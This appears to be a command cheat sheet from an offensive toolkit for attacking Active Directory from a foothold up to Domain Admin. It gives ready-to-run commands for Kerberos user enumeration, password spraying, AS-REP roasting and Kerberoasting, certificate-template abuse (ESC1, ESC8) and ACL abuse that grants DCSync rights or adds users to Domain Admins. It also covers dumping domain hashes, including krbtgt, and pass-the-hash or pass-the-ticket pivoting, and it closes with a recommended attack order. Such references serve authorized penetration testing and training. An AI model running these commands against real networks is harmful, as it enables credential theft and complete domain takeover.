# ad — Active Directory: roast, sync, forge, pivot Kerberos, ADCS and ACL abuse from a foothold to Domain Admin. Map the graph first with `cheat bloodhound`, spray/exec with `cheat nxc`. Most stars default their DC to `$TARGET` — set it once with `t `. Crack loot with `hc-rock `. ## Enumerate users (no creds needed) - **`kb-users [wl]`** — kerbrute `userenum` against the DC; valid names come back with no auth. dc defaults to `$TARGET`, wl to `$USERNAMES`. Fast, and only mildly loud. - Raw: **`kerbrute userenum --dc -d $USERNAMES`** · **`kerbrute passwordspray -d valid_users.txt `** (spray — lockout risk, careful). - Feed the confirmed list straight into `asrep`. ## AS-REP roast (users with pre-auth disabled) - **`asrep [dc-ip] [userlist]`** — `GetNPUsers.py / -dc-ip -no-pass -usersfile -format hashcat -outputfile asrep.txt`. dc → `$TARGET`, wl → `$USERNAMES`. No creds required. - Writes **`asrep.txt`**; crack with **`hc-rock 18200 asrep.txt`** (mode `18200` = AS-REP). - Known user, targeted: **`GetNPUsers.py / -no-pass`** — if it returns a hash, `DONT_REQ_PREAUTH` is set. ## Kerberoast (crack service accounts) - **`kerberoast [dc-ip]`** — `GetUserSPNs.py /: -dc-ip -request -outputfile kerberoast.txt`. Needs any valid domain creds; dc → `$TARGET`. - Writes **`kerberoast.txt`**; crack with **`hc-rock 13100 kerberoast.txt`** (mode `13100` = TGS-REP RC4). - Pass-the-hash instead of a password: **`GetUserSPNs.py / -hashes : -request`**. - **`targetedKerberoast.py -d -u -p `** — abuse GenericWrite/GenericAll on a user: set a temporary SPN, roast it, remove it. Roasts accounts that have **no** SPN. Great post-ACL step (loud in logs). ## ADCS — find and abuse cert templates - **`adcs-find `** — `certipy find -u @ -p -dc-ip -vulnerable`. Flags ESC1-ESC16 in one pass. Nothing defaults here — pass all four args. - Raw **`certipy-ad`** (`certipy`) request → auth flow for **ESC1** (template lets you set SAN): ``` certipy req -u user@dom -p pass -ca -template -upn administrator@dom -dc-ip certipy auth -pfx administrator.pfx -dc-ip # → NT hash + TGT (KRB5CCNAME set) ``` - **ESC8** (NTLM relay to web enrollment): `certipy relay -target http://` then coerce. The `.pfx` → hash → feed `pth`/`ptt`. ## ACL abuse — bloodyAD Turn a BloodHound edge into a concrete change. Point `--host` at the DC. ``` bloodyAD --host -d -u -p add genericAll bloodyAD --host -d -u -p set password 'New!Pass1' # ForceChangePassword (destructive) bloodyAD --host -d -u -p add groupMember 'Domain Admins' bloodyAD --host -d -u -p set owner # WriteOwner → then genericAll bloodyAD --host -d -u -p add dcsync # grant self replication → then dcsync ``` ## DCSync — pull the hashes (endgame) - **`dcsync [target-user]`** — `secretsdump.py /:@$TARGET -just-dc-user `. target-user defaults to **Administrator**. **Note: the DC host is `$TARGET`** — `t ` first, the 4th arg is only *which* account to dump. - Needs DS-Replication rights (DA, or an ACL edge granted above). **`krbtgt`** is the prize → Golden Ticket material. - Whole domain: **`secretsdump.py /:@ -just-dc`** (all hashes, loud). ## Pivot — pass-the-hash / pass-the-ticket - **`pth [target]`** — prints ready-to-run PtH lines; target → `$TARGET`: ``` evil-winrm -i -u -H psexec.py -hashes : @ wmiexec.py -hashes : @ netexec smb -u -H --shares ``` - **`ptt [target]`** — prints PtT lines; it does **not** export for you — run the `export` it prints: ``` export KRB5CCNAME= # the ccache impacket -k reads psexec.py -k -no-pass wmiexec.py -k -no-pass netexec smb -k --use-kcache ``` | Env / flag | Meaning | |---|---| | `KRB5CCNAME=x.ccache` | ticket cache impacket & nxc read for `-k` | | `-k -no-pass` | authenticate with the ccache, no password | | `--use-kcache` | nxc: use `$KRB5CCNAME` instead of creds | | `-hashes :` | LM:NT — leave LM empty, `:` prefix | - `.kirbi` ↔ `.ccache`: **`ticketConverter.py in.kirbi out.ccache`**. Clock skew kills Kerberos — **`ntpdate `** / `faketime` if `KRB_AP_ERR_SKEW`. ## Hashcat modes (quick ref) | Mode | Hash | |---|---| | `18200` | AS-REP (asrep) | | `13100` | Kerberoast TGS-REP RC4 (kerberoast) | | `19600/19700` | TGS-REP AES-128/256 (if RC4 disabled) | | `1000` | raw NTLM (dcsync output) | > Order of operations: `kb-users` → `asrep` (free) → any-cred → `kerberoast` + `cheat bloodhound` to find the path → `bloodyAD`/`adcs-find` to walk an edge → `dcsync krbtgt`. Every `certipy auth` and `*.py -k` run reads `$KRB5CCNAME` — `echo $KRB5CCNAME` when Kerberos "randomly" fails.